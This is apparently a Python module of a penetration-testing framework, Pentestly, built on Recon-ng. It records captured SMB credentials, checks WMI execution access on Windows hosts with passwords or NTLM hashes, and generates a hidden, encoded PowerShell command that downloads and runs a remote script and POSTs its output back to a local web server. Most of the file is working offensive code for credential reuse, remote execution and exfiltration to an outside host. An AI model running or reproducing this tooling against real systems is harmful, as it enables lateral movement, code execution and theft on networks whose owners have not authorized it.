from libs.smbmap import SMBMap, SMBServer
from libs.pentestlyserver import PentestlyServer
from libs.wmiexec import WMIEXEC, OUTPUT_FILENAME
from recon.core.module import BaseModule
from BaseHTTPServer import HTTPServer

import datetime
import subprocess
import time
import signal
import threading
import os
import shutil
import base64
import sys

class PentestlyModule(BaseModule):
    smb = SMBMap()
    httpd = None
    hosting_server = None

    def create_table(self):
        self.query("CREATE TABLE IF NOT EXISTS pentestly_creds (host TEXT, access TEXT, username TEXT, password TEXT, domain TEXT, process TEXT, logged_in TEXT, success TEXT, execute TEXT, module TEXT)")
        self.query("CREATE TABLE IF NOT EXISTS pentestly_shares (host TEXT, username TEXT, readwrite TEXT, readonly TEXT, noaccess TEXT, module TEXT)")

    def add_pentestly_creds(self, host=None, access=None, username=None, password=None, domain=None,
                        process=None, logged_in=None, success=None, execute=None):
        '''Adds smb creds to the database and returns the affected row count.'''
        data = dict(
            host = self.to_unicode(host),
            access = self.to_unicode(access),
            username = self.to_unicode(username),
            password = self.to_unicode(password),
            domain = self.to_unicode(domain.lower()),
            process = self.to_unicode(process),
            logged_in = self.to_unicode(logged_in),
            success = self.to_unicode(success),
            execute = self.to_unicode(execute),
        )
        return self.insert('pentestly_creds', data, ('host', 'access', 'username', 'password', 'domain',\
                                                'process', 'logged_in', 'execute', 'success'))

    def add_pentestly_shares(self, host=None, username=None, readwrite=None, readonly=None, noaccess=None):
        '''Adds smb shares to the database and returns the affected row count.'''
        data = dict(
            host = self.to_unicode(host),
            username = self.to_unicode(username),
            readwrite = self.to_unicode(readwrite),
            readonly = self.to_unicode(readonly),
            noaccess = self.to_unicode(noaccess),
        )
        return self.insert('pentestly_shares', data, ('host', 'username', 'readwrite', 'readonly', 'noaccess'))

    def powershell_download(self, script_url='', args='', post_url='', get_output=True):
        """Get correctly formatted powershell command string

        script_url: Full URL to download a Powershell script from
        args: Commands to execute after downloading the script
        post_url: IP to POST results back to
        """

        prefix = "powershell -window hidden -exec bypass -NonInteractive -Enc "

        command = 'IEX (New-Object Net.Webclient).DownloadString("{}"); '.format(script_url)

        if get_output:
            command += """$result = {};
            $request = [System.Net.WebRequest]::Create('http://{}');
            $request.Method = 'POST';
            $ret = [System.Text.Encoding]::ASCII.GetBytes($result);
            $request.ContentLength = $ret.Length;
            $reqStream = $request.GetRequestStream();
            $reqStream.Write($ret, 0, $ret.Length);
            $reqStream.Close();
            $request.GetResponse();""".format(args, post_url).replace('\n', '')
        else:
            command += args

        command = "".join(["{}\x00".format(char) for char in unicode(command)])
        command = base64.b64encode(command)
        command = prefix + command
        return command

    def pentestly_update(self, new_vals, conditions):
        '''Try to update table with new values based on existing data'''
        table = 'pentestly_creds'
        set_str = []
        where_str = []

        # Convert dict to the "SET" and "WHERE" strings
        # key="val" AND key2="val2" AND nokey is NULL
        for curr_list,param in [(set_str, new_vals),
                                (where_str, conditions)]:
            for key,val in param.iteritems():
                if key == 'domain' and isinstance(val, str): 
                    val = val.lower()

                if not val:
                    curr_list.append('{} is NULL'.format(key))
                else:
                    curr_list.append('{}="{}"'.format(key, val))
            curr_list = ' AND '.join(curr_list)
            
        set_str = ' AND '.join(set_str)
        where_str = ' AND '.join(where_str)
        command = 'UPDATE {} SET {} WHERE {}'.format(table, set_str, where_str)
        self.debug("Updating: {}".format(command))
        res = self.query(command)
        if res == 0:
            params = dict(new_vals.items() + conditions.items())
            self.add_pentestly_creds(**params)


    def update_execute(self, username=None, password=None, host=None, execute="False"):
        '''Adds creds to the database and returns the affected row count.'''
        # Ensure blank username/password is updated properly
        user_string = 'username is NULL'
        pass_string = 'password is NULL'
        if username:
            user_string = 'username="{}"'.format(username)
        if password:
            pass_string = 'password="{}"'.format(password)
        command = 'UPDATE pentestly_creds SET execute="{}" WHERE {} AND {} AND host="{}"'.format(execute, user_string, pass_string, host)
        res = self.query(command)

    def test_execute(self):
        results = self.query('SELECT username,password,domain,host FROM pentestly_creds WHERE success="True" AND execute is NULL')
        if len(results) > 0:
            self.output("Testing execution access of credentials")
        share = 'C$'
        for username,password,domain,host in results:
            if username == None:
                username = ''
            if password == None:
                password = ''
            command = 'echo' # Test command
            conn_info = '{}\{}:{}@{}'.format(domain, username, password, host)
            try:
                result = self.wmi_execute(username, password, domain, host, command)
                self.alert("Successful execution: {}".format(conn_info))
                self.update_execute(username=username, password=password, host=host, execute="True")
            except Exception as e:
                self.output(str(e))
                self.output("Failed to execute: {}".format(conn_info))
                self.update_execute(username=username, password=password, host=host, execute="False")

    def get_domain_admins(self):
        return [admin[0] for admin in self.query("select username from pentestly_creds where access like '%admin%'")]

    def sigint_handler(self, signal, frame):
        pass

    def select_local_interface(self):
        '''Display menu of local interfaces for selection'''
        proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE)
        result = proc.stdout.read().splitlines()
        ipv4_addrs = [line for line in result if 'inet ' in line]
        addrs = [addr.split()[1].split('/')[0] for addr in ipv4_addrs]
        choice = 99
        while 0 > choice or choice >= len(addrs):
            print("Select local interface for hosting scripts")
            print

            for index, addr in enumerate(addrs):
                print("{}. {}".format(index, addr))

            choice = int(raw_input('> '))

        return addrs[choice]

    def start_webserver(self):
        if self.httpd:
            return

        print("Starting web server")
        if not self.hosting_server:
            self.hosting_server = self.select_local_interface()

        server = PentestlyServer()
        if server.success:
            server.start()
            self.httpd = server

    def stop_webserver(self):
        print("Starting web server")
        if self.httpd:
            self.httpd.shutdown()
            self.httpd = None

    def get_powershell_results(self, host=''):
        self.output("Waiting for Powershell results")

        self.start_webserver()

        try:
            # Default timeout set to 10 seconds for waiting for powershell results
            for timeout in xrange(10, 0, -1):
                if os.path.exists(os.path.join('/', 'tmp', 'post-data')):
                    break

                time.sleep(1)
            else:
                print("Timeout on powershell results")
                self.stop_webserver()
                return ''
        except KeyboardInterrupt:
            print("CTRL+C received.")
            self.stop_webserver()
            return ''

        self.stop_webserver()

        with open(os.path.join('/', 'tmp', 'post-data'), 'r') as f:
            results = f.read()

        filename = '{}_{}'.format(host, datetime.datetime.now().strftime('%Y%m%d_%H%M'))

        try:
            os.mkdir('.powershell-results')
        except:
            pass

        shutil.move(os.path.join('/', 'tmp', 'post-data'), os.path.join('.powershell-results', filename))
        return results

    def wmi_execute(self, username, password, domain, host, command, get_results=True, powershell_get_results=False, share='C$'):
        # Specially send results back via POST request if powershell command is used
        # We only currently get toggle output for powershell 

        # Negate get_results variable for correct noOutput
        noOutput = False if str(get_results).lower() == 'true' else True

        if 'powershell' in command:
            powershell_get_results = True
                
        creds = "Execution: {}\{}:{}@{} - {}".format(domain, username, password, host, command)
        self.output(creds)

        if ':' in password and len(password.split(':')[0]) == len(password.split(':')[1]) == 32:
            wmi = WMIEXEC(command, username, '', domain, hashes=password,
                          aesKey=False, share=share, noOutput=noOutput, doKerberos=False)
        else:
            wmi = WMIEXEC(command, username, password, domain, hashes=None,
                          aesKey=False, share=share, noOutput=noOutput, doKerberos=False)
        result = wmi.run(host)

        if powershell_get_results:
            result = self.get_powershell_results(host)

        if result:
            with open('pentestly.log', 'a') as f:
                f.write('[{} - {}]\n'.format(host, datetime.datetime.now().ctime()))
                f.write(creds + '\n')
                f.write(result + '\n')

        self.debug("wmi_execute: {}".format(result))
        return result
